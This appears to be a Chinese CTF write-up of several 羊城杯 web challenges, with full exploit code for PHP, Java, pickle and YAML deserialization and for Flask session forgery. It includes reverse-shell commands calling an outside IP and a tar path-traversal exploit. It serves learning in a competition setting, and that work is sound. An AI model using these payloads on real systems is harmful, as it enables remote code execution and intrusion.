羊城杯的一些题解及体会


打了羊城杯,自我感觉难的挺合理:(

不过我觉得了解到题目出/考的是什么才是重要的:(

D0n’t pl4y g4m3!!!

一道考察php反序列化的题目,需要我们访问p0p.php,但是我们一旦访问/p0p.php就会把页面跳转至一个吃豆人游戏中

但是题目就是叫我们不要玩游戏的意思嘛

我开始还以为是什么js题,但是查遍了js,没有什么异常,才回去尝试抓包的

抓包以后发现啥也没有,这下这下了

但是它提示有个hint.zip

下载下来解压后的内容:

1
Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0

那我只能说hint了个寂寞

没辙啊,p0p.php也不给源码

不过越是不给源码的说明越重要是吧,我们还是得像办法读出p0p.php的内容

注意到服务器的php版本是7.4.21

此时群里的师傅们也都说了7.4.21有这个漏洞:

1
服务器 开发语言 PHP<=7.4.21 Development Server源码泄露漏洞

只需要先关闭自动更新Content-Length,然后按如下图所示:

即可读到源码:

拉取到的p0p.php内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");//可能利用的点
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);//可能利用的点2
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>

可以看到是一个php反序列化,而且还有waf

这个waf只会将关键字替换为空,所以我们可以进行双写绕过:

syssystemtem只会将中间的system去掉,然后剩下的sys 和 tem 能够组成system

那我们来简单看下这个链子怎么触发吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
我们知道call_user_func和eval差不多,都是危险的命令执行函数。只要我们能够触发call_user_func 就能够进行命令执行
这里有两个call_user_func
一个是写死的,另外一个不是,可以我们自定义参数的
一般来说自定义参数的能够利用的点更多,所以我们关注Yang类内的call_user_func()

故链子的终点是Yang::__call()

call魔术方法要触发的条件是访问不可访问的方法触发

注意到Bei内的destruct魔术方法会调用 fine->YCB1()
如果将fine设置为new Yang()的话就能够触发 Yang::YCB1()
但是Yang类没有YCB1方法,所以会触发call方法

要出发desctruct需要我们CTF-> ycb()返回为真

此时发现只有Yang类有ycb函数

需要将CTF设置为new Yang()
此时ycb就会返回 finish->finish

接下来调用Cheng类,使其返回的finish为真即可

总结一下其实链子就是

1
Yang::__call() <- Bei::__destruct()

这里先将exp给大家,然后说一下我先前不懂的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");//可能利用的点
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);//可能利用的点2
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = new Yang();
$b = new Cheng();
$c = new Bei();
$d = new Yang();
$c->CTF = $a;
$a -> finish = $b;
$b -> name = array("finish" => "a");
$c->fine = $d;
$d->finish = $b;
$d -> finish1 = $b;
$d->now = array("YCB1" => "system");
$c->rce = "ls";

echo urlencode(serialize($c));
?>

为什么name要设置成 name[finish] = "a"的形式

还有是为什么now[YCB1] = "system"的形式

先说说后面那个

如果调用__call()魔术方法的话,会传递两个参数

第一个参数就是我们调用的方法,这里是调用YCB1方法,所以传递了第一个参数叫YCB1

第二个参数就是我们调用到的方法传递的参数,比如这里的YCB1方法有两个参数:

rcerce1,那么这两个参数会一并传递过去,并作为数组存储

而这里call_user_func调用了call的两个参数:

now[$name]ary[0]

call传入的两个参数就叫name 和 ary

答案很明显了吧,name其实就是我们的YCB1方法,而ary数组内有2个元素,一个是rce,另一个是rce1,这里的ary[0]相当于rce

其实就是now[YCB1](rce)

我们将now设置为数组,且键名就叫YCB1,键值为system,其实就是system(rce)

再将rce设置为ls

就相当于执行system('ls');

那另外一个的话我想大概也是如此,传入了一个finish参数,然后value其实就是finish

返回的是什么意思呢?是这样的:

1
2
3
4
5
$finish = $name[finish]
而 $name[finish]我们设置为了a

我们将其设置为了一个字符串,然后返回了$finish的值
此时$finish不为空,所以为true

那大概便是如此

将序列化结果进行双写即可(也就是把system改为syssystemtem)

但是ls /之后找不到flag。。。

cat /flag会显示flag不在这,笑死,找了个寂寞

这里通过find / 来读取所有文件,最终发现flag在/tmp/catcatflag.txt内:

最终payload:

1
CTF=O%3A3%3A%22Bei%22%3A3%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3Br%3A3%3Bs%3A7%3A%22finish1%22%3Br%3A3%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A6%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A10%3A%22cat+%2Ftmp%2F%2A%22%3B%7D

ez_java

不是很懂

java审计题,题目提供了附件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.ycbjava.Contorller;
import com.ycbjava.Utils.NewObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.p008ui.Model;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index() {
return "Welcome to YCB";
}
@RequestMapping({"/templating"})
public String templating(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@RequestMapping({"/getflag"})
@ResponseBody
public String getflag(@RequestParam String data) throws IOException, Cla
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStr
byteArrayOutputStream.write(decode);
new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStr
return "Success";
}

简单地说就是/会显示Welcome to YCB

/templating会对模板进行渲染(这里的模板是freemarker)

/getflag会将传入的data参数进行base64解码,然后进行反序列化

其实这里还是不是很懂要怎么利用,毕竟自己的java还是太菜了

这里按照thai师傅的方法应该是调用:

BadAttributeValueExpException -> POJONODE#toString -> HtmlInvocationHandler -> htmlmap

利用poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Map;

public class SerializeTest {

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}


public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
// new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// HashMap<Object,Object> map = new HashMap<>();
// map.put("value", "aaa");



// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
HtmlMap htmlMap = new HtmlMap();
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(name)}";
htmlMap.filename="index.ftl";


HtmlInvocationHandler hih = new HtmlInvocationHandler();
hih.obj = htmlMap;

Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hih);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructors()[0];
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap);

// InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, proxymap);
//
// Map mapProxy = (Map) Proxy.newProxyInstance(HtmlMap.class.getClassLoader(), new Class[]{HtmlMap.class}, h);
//
// Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);
serialize(o);
base64encode_exp(o);

unserialize("ser.bin");

}
}

payload:

1
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAnY29tLnljYmphdmEuVXRpbHMuSHRtbEludm9jYXRpb25IYW5kbGVyQCXpLL1HVZUCAAFMAANvYmpxAH4AAXhwc3IAGWNvbS55Y2JqYXZhLlV0aWxzLkh0bWxNYXAVSPlJWeMkfAIAAkwAB2NvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhmaWxlbmFtZXEAfgALeHB0ASk8I2Fzc2lnbiBhYz1zcHJpbmdNYWNyb1JlcXVlc3RDb250ZXh0LndlYkFwcGxpY2F0aW9uQ29udGV4dD4KICA8I2Fzc2lnbiBmYz1hYy5nZXRCZWFuKCdmcmVlTWFya2VyQ29uZmlndXJhdGlvbicpPgogICAgPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT4KICAgICAgPCNhc3NpZ24gVk9JRD1mYy5zZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcihkY3IpPiR7ImZyZWVtYXJrZXIudGVtcGxhdGUudXRpbGl0eS5FeGVjdXRlIj9uZXcoKShuYW1lKX10AAlpbmRleC5mdGx2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cA==

将payload发到getflag路由即可覆写index.ftl

将ftl覆写成可以利用freemarker ssti的形式,再访问template传入name:

1
/templating?name=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJi9kZXYvdGNwLzQ3LjExMy4yMjYuMTUvMjMzMyAwPiYx%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

执行反弹shell

关于反弹shell的操作这里也一直在踩坑,导致卡了很久,包括Serpent那题也是很晚才能够解出来

这里反弹shell必须要有一台公网vps,同时要在安全组内对需要监听的端口进行开放,不然请求就会被防火墙一直拦截

噗,下次就不要这么犯蠢了:(

vps内:

1
nc -lvvp 2333

然后发送请求:

即可获得flag

ez_web

不会。。

一点头绪都没有

官方hint说访问cmd.php

访问后命令执行仅能执行whoami

还有另外一个是列目录,但是只能列ls、ls /、ls /etc、ls /etc/passwd

文件上传没看,大概也对文件进行了限制

总之就是很迷

不过结束后听师傅们说应该是通过文件上传so文件再用whoami触发…?

算了 看不懂

Serpent

flask题

通过访问www.zip就可以获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, session
from secret import secret
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

访问/verification获取到session 如果session为admin,返回secret

1
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU

ey开头的session是flask的session

尝试使用flask session decoder:

1
2
python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU'
b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTuhPFWsOMoc"}}'

他直接把secret_key给解出来了:

1
2
python.exe .\flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR1aFBGV3NPTW9jIn19.ZPLScQ.k8fmYNSO4EDn54Kil8ACIULDJFU' -s 'GWHTuhPFWsOMoc'
{'Attribute': {'admin': 0, 'name': 'GWHT', 'secret_key': 'GWHTuhPFWsOMoc'}}

加密:

1
2
python.exe .\flask_session_cookie_manager3.py encode -s 'GWHTuhPFWsOMoc' -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTuhPFWsOMoc'}}"
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUdWhQRldzT01vYyJ9fQ.ZPLT5A.Fp0XBHl0kAZjrReVYq-LcyOiOsE

返回:

1
Hello admin, welcome to /ppppppppppick1e

访问src0de即可获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

这里就是pickle反序列化的点了:

pickle是python中的一个能够序列化和反序列化对象的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"

p = Person()
opcode = pickle.dumps(p)
print(opcode)

P = pickle.loads(opcode)
print('The age is:'+str(P.age), 'The name is'+P.name)

上面是一个简单的pickle例子,dumps相当于序列化一个对象

而loads相当于反序列化一个对象

而pickle反序列化中还有一些opcode,例如一个比较经典的opcode:

1
2
3
4
5
6
7
8
9
10
11
import pickle
opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
import base64
r = base64.b64encode(opcode)
print(r)

但是在这里不行,它返回了No Way!!!

因为这里还有个check函数没有给出,相当于有waf的存在

慢慢测试发现waf拦截了R

所以我们需要一个不含R的opcode协助我们进行pickle反序列化:

1
2
3
4
5
6
import base64
opcode = b'''(S'whoami
ios
system
.'''
print(base64.b64encode(opcode))

这个时候返回了go for it

但是并没有whoami的回显,说明我们要进行无回显的pickle反序列化

这里还是通过反弹shell来执行:

1
2
3
4
5
6
7
8
9
opcode=b'''(S'bash -c "bash -i >& /dev/tcp/47.113.226.15/2333 0>&1"'
ios
system
.'''

import base64
r = base64.b64encode(opcode)
print(r)
#b'KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjI2LjE1LzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg=='

打开2333的监听,将其使用cookie传递后成功反弹:

但是我们在cat /flag的时候显示了权限不足

由于服务器使用python

这里我们使用python提权:

1
2
3
4
5
python3 -c "import pty;pty.spawn('/bin/sh')"
python3
import os
os.setuid(0)
os.system("cat /flag")

ArkNights

这题被狠狠的非预期了。。

这题提供了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

可以看到本意应该是什么呢?

先看路由,read路由存在有任意文件读取,但是不能直接读取flag

/里面能够通过exec进行命令执行,但是我们需要对session进行修改

这里就有点像蓝帽杯2022 file_session的味道了,毕竟在read路由内写的源码都十分地相似:

secret_key肯定是存在内存内的,由于我们没有其他方法直接读取到secret_key

我们就需要间接从内存中获取,其secret_key是随机uuid,并将-替换为*,然后后面拼接上Boogipopisweak:

利用我们蓝帽杯里的方法,读取/proc/self/mapsproc/self/mem获取secretkey:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import requests
import re
import sys


url_1 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/maps"
res = requests.get(url_1)
maplist = res.text.split("\n")

for i in maplist:
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw", i)
if m != None:
start = int(m.group(1), 16)
end = int(m.group(2), 16)
print("addr :", start, "-", end)
url_2 = "http://5000.endpoint-4793d8bd333a4fa89e67ee33328d29e9.m.ins.cloud.dasctf.com:81/read?file=../../../../../proc/self/mem&start={}&end={}".format(
start, end - start)
res_1 = requests.get(url_2)
#print(res_1.text)
if "Boogipopisweak" in res_1.text:
try:

rt = re.findall(b"[a-z0-9]{8}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{4}\\*[a-z0-9]{12}", res_1.content)#此处为* 因为题目app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
if rt:
print(rt)
except:
pass

爆出key:

1
0a3cc76d*f33e*4158*96bc*e7e9ea665861

还要记得加上Boogipopisweak

key:

1
0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak

验证:

1
2
3
4
5
eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q

decode:
python.exe .\flask_session_cookie_manager3.py decode -c 'eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q' -s '0a3cc76d*f33e*4158*96bc*e7e9ea665861Boogipopisweak'
{'name': 'Doctor'}

伪造的时候还需要加上时间戳…

为什么呢?

这就涉及到session的一些性质了,对于flask session加密的流程如下:

1
2
3
4
json.dumps 将对象转换为json字符串。作为数据
若数据压缩后长度更短。则用zlib进行压缩
将数据Base64编码
通过hmac算法计算数据签名。将签名附在数据后。用点分割
1
2
3
4
5
6
7
8
9
10
他们的格式是:
ey开头的.base64encode的.数据签名
对于这个session:
eyJuYW1lIjoiRG9jdG9yIn0.ZPMttQ.56HcQex02AeagTzBOoC-EqGuc-Q
此处中间的ZPMttQ就是base64加密的内容,我们对其解密得到:

>>> import base64
>>> t=base64.b64decode('ZPMttQ==')
>>> int.from_bytes(t, "big")
1693658549

可以得到其时间戳

说明这个session是有时效性的

同样,我们使用蓝帽杯的脚本来对时间戳进行加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hmac
import base64


def sign_flask(data, key, times):
digest_method = 'sha1'

def base64_decode(string):
string = string.encode('utf8')
string += b"=" * (-len(string) % 4)
try:
return base64.urlsafe_b64decode(string)
except (TypeError, ValueError):
raise print("Invalid base64-encoded data")

def base64_encode(s):
return base64.b64encode(s).replace(b'=', b'')

salt = b'cookie-session'
mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
mac.update(salt)
key = mac.digest()

msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
data = hmac.new(key, msg=msg, digestmod=digest_method)
hs = data.digest()
# print(hs)
# print(msg+b'.'+ base64_encode(hs))
# print(int.from_bytes(times.to_bytes(8,'big'),'big'))
return msg + b'.' + base64_encode(hs)

base64_data = base64.b64encode(b'test')
print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))

如果在正确的时间访问接口,会返回500,说明我们成功进入到exec

但是后面怎么绕exec就有些麻烦了

刚开始是想通过类似sql注入的方式闭合[]然后执行命令,但是发现过滤了[]

但是它还有一个非预期:

1
直接用read路由读取proc/1/environ

ezyaml

涉及到yaml反序列化、tar包的extractall漏洞

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag#waf
def extractFile(filepath, type):

extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)


if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()#解压上传的tar文件,返回文件名

路由:

1
2
3
4
5
6
@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route('/upload', methods=['GET', 'POST'])
def upload():

if request.method == 'GET':
return redirect('/')

if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:#禁止了.
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)

if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
#提供上传路由,需要上传tar文件
1
2
3
4
5
6
7
8
9
@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')

这里就是通过/src路由并且提供name参数能够对yaml进行反序列化,然后对admin.html进行渲染并且返回

但是无论我们怎么上传tar包,我们都不能够访问到我们传入的yaml文件(返回500)

百思不得其解啊,看不懂要怎么触发

这时候还是得靠万能的博客,通过NSSCTF Round#6的一篇wp内,发现了对于tar包的extractall的漏洞:

其实这里是它引用的一篇博客:

https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/

通过这里面的poc直接运行即可

另外,关于yaml反序列化的一些payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
#yaml反序列化测试代码:
import yaml

payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'
#payload = '!!python/object/apply:subprocess.check_output ["calc.exe"]'
#payload = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
#payload = '!!python/object/apply:os.system ["calc.exe"]'
#payload = '!!python/object/new:subprocess.check_output [["calc.exe"]]'
#payload = '!!python/object/new:os.system ["calc.exe"]'

#['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply'] 由于过滤了subprocess 所以我们使用os

yaml.load(payload)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import tarfile
import io

tar = tarfile.TarFile('malicious.tar', 'w')

info = tarfile.TarInfo("../../config/Err23.yaml")


deserialization_payload = '!!python/object/apply:os.system ["cat /fllaagg_here>templates/admin.html"]' #先利用ls />写目录,这里的cat是因为我先前已经使用过了


info.size=len(deserialization_payload)
info.mode=0o444 # So it cannot be overwritten

tar.addfile(info, io.BytesIO(deserialization_payload.encode()))
tar.close()

总结一下,感觉自己还是特别特别的菜。。

啥也不会的样子,pop链也得理解好久:(

不过我应该是有点进步了吧,起码是会那么一点点东西的:(

另:网络的力量真的非常的厉害